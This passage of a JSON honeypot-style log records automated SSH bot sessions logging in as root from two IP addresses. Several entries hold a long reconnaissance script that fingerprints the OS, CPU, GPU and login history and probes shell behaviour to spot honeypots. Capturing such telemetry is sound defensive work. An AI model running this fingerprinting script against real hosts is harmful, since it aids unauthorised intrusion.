\"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T01:56:50.827103+00:00",
  "ended_at": "2026-08-25T01:56:51.049388+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "820adc2d-37d3-4d83-a5a0-919b2823e776",
  "name": "jolly-downy-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 51594,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 185,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:56:31.912274+00:00",
  "ended_at": "2026-08-25T01:56:35.129917+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b375e113-7d70-4d17-a0db-252b64eac709",
  "name": "emerald-slender-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 37116,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:56:18.704610+00:00",
  "ended_at": "2026-08-25T01:56:23.327795+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f959d867-7f54-4a72-a710-57ae5c6052d7",
  "name": "indigo-snowy-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 42170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T01:56:08.728330+00:00",
  "ended_at": "2026-08-25T01:56:08.830963+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "508d27bc-64ff-433a-9bc5-f4e757d0eb7f",
  "name": "tranquil-candid-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 42144,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:56:05.315099+00:00",
  "ended_at": "2026-08-25T01:56:11.304205+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "10465927-d703-4296-b0db-a04f5b71947a",
  "name": "ginger-weathered-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 57458,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 222,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:55:23.599436+00:00",
  "ended_at": "2026-08-25T01:55:26.499110+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dea92f08-e22c-4dcb-aa66-7df9cd476c8b",
  "name": "gallant-wry-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 40520,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T01:55:22.552464+00:00",
  "ended_at": "2026-08-25T01:55:22.642292+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8f1c2ac3-246f-4413-bd57-0d60487fcdac",
  "name": "gnarled-patient-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 35634,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:55:18.196586+00:00",
  "ended_at": "2026-08-25T01:55:23.603610+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "69c088f4-9507-4625-bb09-0297928940ec",
  "name": "ruddy-languid-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 37542,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 238,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:55:11.710419+00:00",
  "ended_at": "2026-08-25T01:55:16.000052+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3dfc6cdc-0e49-4e86-a32e-7ea7fac3da8b",
  "name": "zealous-slender-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 48000,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:54:55.098556+00:00",
  "ended_at": "2026-08-25T01:54:58.627403+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "74c96eb3-b24f-4f92-96f0-e695a5d15fcd",
  "name": "early-drifting-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 38836,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T01:54:35.823763+00:00",
  "ended_at": "2026-08-25T01:54:35.915188+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c381e351-6c1e-4729-9d73-d32af67e6acc",
  "name": "cosmic-candid-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 45492,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:54:05.098790+00:00",
  "ended_at": "2026-08-25T01:54:10.826102+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "79429a92-15d2-4e0d-804b-5519eb277a88",
  "name": "thawing-vivid-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 37154,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T01:53:49.728672+00:00",
  "ended_at": "2026-08-25T01:53:49.850014+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "68747ea3-c80e-4024-9e13-f33b744801c6",
  "name": "mindful-slender-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 52896,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 253,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:53:38.836052+00:00",
  "ended_at": "2026-08-25T01:53:43.518248+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ceb9f58b-ccb1-492f-a667-38128202fab1",
  "name": "stoic-frosty-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 35478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T01:53:04.584954+00:00",
  "ended_at": "2026-08-25T01:53:04.690425+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b915be30-8ddc-4554-9b55-72cf414781d6",
  "name": "downy-languid-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.110.232",
  "src_port": 33798,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T01:52:17.284297+00:00",
  "ended_at": "2026-08-25T01:52:18.886723+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "82f76d5b-09de-413c-a792-dd53af2fb0cb",
  "name": "idle-subtle-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 33736,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
